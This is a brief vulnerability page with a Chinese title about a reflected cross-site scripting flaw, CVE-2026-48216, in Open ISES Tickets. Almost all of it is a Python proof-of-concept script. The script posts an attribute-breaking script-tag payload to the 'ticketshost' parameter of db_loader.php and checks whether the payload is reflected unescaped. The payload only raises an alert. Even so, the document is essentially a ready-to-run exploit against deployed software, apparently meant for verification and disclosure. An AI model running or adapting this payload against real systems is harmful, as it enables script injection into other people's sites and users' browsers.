CVE-2026-48216 Open ISES Tickets反射型XSS漏洞

import requests def verify_poc(target_url): """ Proof of Concept for CVE-2026-48216 Tests for Reflected XSS in db_loader.php parameters """ # The payload attempts to break out of the input value attribute and inject a script xss_payload = '"><script>alert("CVE-2026-48216")</script>' target_endpoint = f"{target_url}/db_loader.php" # Vulnerable parameters identified in the description data = { "ticketshost": xss_payload, "ticketsdb": "test_db", "ticketsuser": "test_user", "ticketspassword": "test_pass", "ticketsprefix": "test_", "db_schema": "test_schema" } try: response = requests.post(target_endpoint, data=data) # Check if the payload is reflected unescaped in the response if xss_payload in response.text: print("[+] Vulnerability confirmed: Reflected XSS found in response.") return True else: print("[-] Vulnerability not detected or payload was sanitized.") return False except Exception as e: print(f"[!] Error during request: {e}") return False if __name__ == "__main__": # Replace with actual target URL url = "http://example.com" verify_poc(url)